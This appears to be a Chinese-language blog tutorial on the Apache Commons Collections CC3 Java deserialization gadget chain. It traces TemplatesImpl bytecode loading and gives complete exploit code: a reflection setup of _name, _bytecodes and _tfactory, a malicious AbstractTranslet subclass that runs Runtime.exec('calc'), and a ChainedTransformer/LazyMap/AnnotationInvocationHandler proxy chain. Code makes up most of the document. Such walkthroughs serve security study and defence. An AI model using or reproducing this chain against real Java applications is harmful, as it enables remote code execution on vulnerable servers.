CC3
CC3这条链子和前面的两条链有些不同,在这条链子中我们使用了动态类加载 替换掉了Runtime.exec
,由命令执行 换为了代码执行
类加载
我们来回顾一下动态类加载:
ClassLoader中的loadclass
调用findClass
,findCLass
调用defineClass
loadClass
作用是从已加载的类、父加载器位置寻找类(双亲委派机制),当前面没有找到的时候,调用 findClass
方法
findClass 根据名称或位置来加载类的字节码,其中会调用 defineClass
dinfineClass
作用是处理前面传入的字节码,将其处理成真正的Java类
由此我们可以知道,核心部分为defineClass
tips:这里的defineClass需要我们多寻找几种参数类型的,因为有些参数类型的方法在外部并没有被调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public Class<?> loadClass(String name) throws ClassNotFoundException { return loadClass(name, false ); } protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { ...... if (c == null ) { long t1 = System.nanoTime(); c = findClass(name); ...... } } ...... } } protected Class<?> findClass(String name) throws ClassNotFoundException { throw new ClassNotFoundException (name); } protected final Class<?> defineClass(String name, byte [] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null ); }
CC3攻击链分析
调用defineClass
defineClass
只进行类的加载,而只加类加载是不会执行代码的,所以我们需要找到一个实例化的地方
我们需要找到作用域为public的类,方便我们利用。最后在TemplatesImpl 中的defineClass找到了调用ClassLoader中的defineClass方法
由于这个类前面并没有标明作用域,所以为default,只有自己的包中可以调用
find usages后,找到了defineTransletClasses 调用了该方法,但该方法仍然是private方法,我们需要找到public调用的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 private void defineTransletClasses () throws TransformerConfigurationException { ...... for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); ...... } ...... }
实际上我们找到了三个地方,但具体是否可以让我们利用还得进一步看
getTransletClasses
这里只是把_class原封不动返回并无利用处
1 2 3 4 5 6 7 8 9 private synchronized Class[] getTransletClasses() { try { if (_class == null ) defineTransletClasses(); } catch (TransformerConfigurationException e) { } return _class; }
getTransletIndex
这里是把他的下标返回了回来,也无利用处
1 2 3 4 5 6 7 8 9 public synchronized int getTransletIndex () { try { if (_class == null ) defineTransletClasses(); } catch (TransformerConfigurationException e) { } return _transletIndex; }
getTransletInstance
这个方法初始化了我们传入的加载的类,并且将我们这个类返回,我们可以来执行任意代码了
但仍然是一个private方法,继续回找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } ...... }
调用getTransletInstance
这里我们只找到了一个方法,幸运的是这个是一个public方法
1 2 3 4 5 6 7 8 9 10 11 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); ....... return transformer; }
现在只需要一个东西去调用newTransformer的newTransoformer方法即可执行恶意代码
这简单的两句代码,已经把执行的逻辑走完了,但是内部肯定有一些东西我们需要修改
1 2 3 4 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); templates.newTransformer(); }
后续调整
进入到newTransformer,这里是不需要任何赋值,就可以走到getTransletInstance的,我们继续往里走
这里若_name为空则会return所以_name我们需要赋值
我们想要走到definTransletClasses,则需要_class为空,则_class不需要赋值
这个类的无参构造什么都没有做,但它继承了Serializable接口,我们可以利用发射来修改他的值
1 2 3 public TemplatesImpl () { }public final class TemplatesImpl implements Templates , Serializable
继续走入defineTransletClasses方法,如果_bytecodes为空的话,则会抛出异常,因此我们需要给它赋值
下面的_tfactory是需要调用方法的,防止爆空指针错误,导致无法继续执行后面代码,所以我们也需要给他赋值
现在有三个变量是我们需要去赋值的_name
、_bytecodes
、_tfactory
_name这个变量可以随便赋一个字符串类型的值,这里就不过多赘述
接下来我们看看这个_bytecodes是什么类型的private byte[][] _bytecodes = null;
他是一个二维数组
我们看一下defineClass
的逻辑,它接收了一个一维数组,我们看看谁调用了它
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
发现在defineTransletClasses
方法中调用了它,实际上这里是一个for循环,把二维数组中的每一个数组都遍历出来,我们只需要将一维数组套用到另一个数组内,变成二维数组传入就好
这里的一维数组就是我们传入的字节码对象,defineClass
会将他处理成Java类
最后还有一个_tfactory,它标识了transient,说明在序列化和反序列化时是不会传入的,但是在readObject中会初始化它
我们正着来测试一下它,所以在序列化阶段我们先给他赋值,它是一个TransformerFactoryImpl
1 _tfactory = new TransformerFactoryImpl ();
具体代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "CC3" ); byte [] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, codes); Field tfactory = tl.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); }
但是这里爆了一个空指针错误,我们跟着看一下
报错是由defineTransletClasses
这个方法的下列部分引起的,如果我们传入字节码对象的父类不为ABSTRACT_TRANSLET,就会走到else部分中,我们上面说过_class
是不赋值的,因此我们这里让执行类 的父类变成ABSTRACT_TRANSLET,上面有标注这个常量
1 2 3 4 5 6 7 8 9 private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); }
使Test继承AbstractTranslet类,并实现他的抽象方法,修改好后编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } }
最后也是成功弹出了计算器
调用newTransformer
现在我们只需要用cc1后半段的代码,来执行`newTransformer`方法即可
这里ConstantTransformer
传入templates
用InvokerTransformer
去动态调用templates的newTransformer
方法
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(1 );
最后把cc1的后半部分直接拿过来即可使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "CC3" ); byte [] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, codes); Field tfactory = tl.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); unserialize("ser.bin" ); }
这里实际就是换了一个代码执行的方式,有些黑名单可能对InvokerTransformer进行了过滤,我们从ChainedTransformer新开一条路来执行代码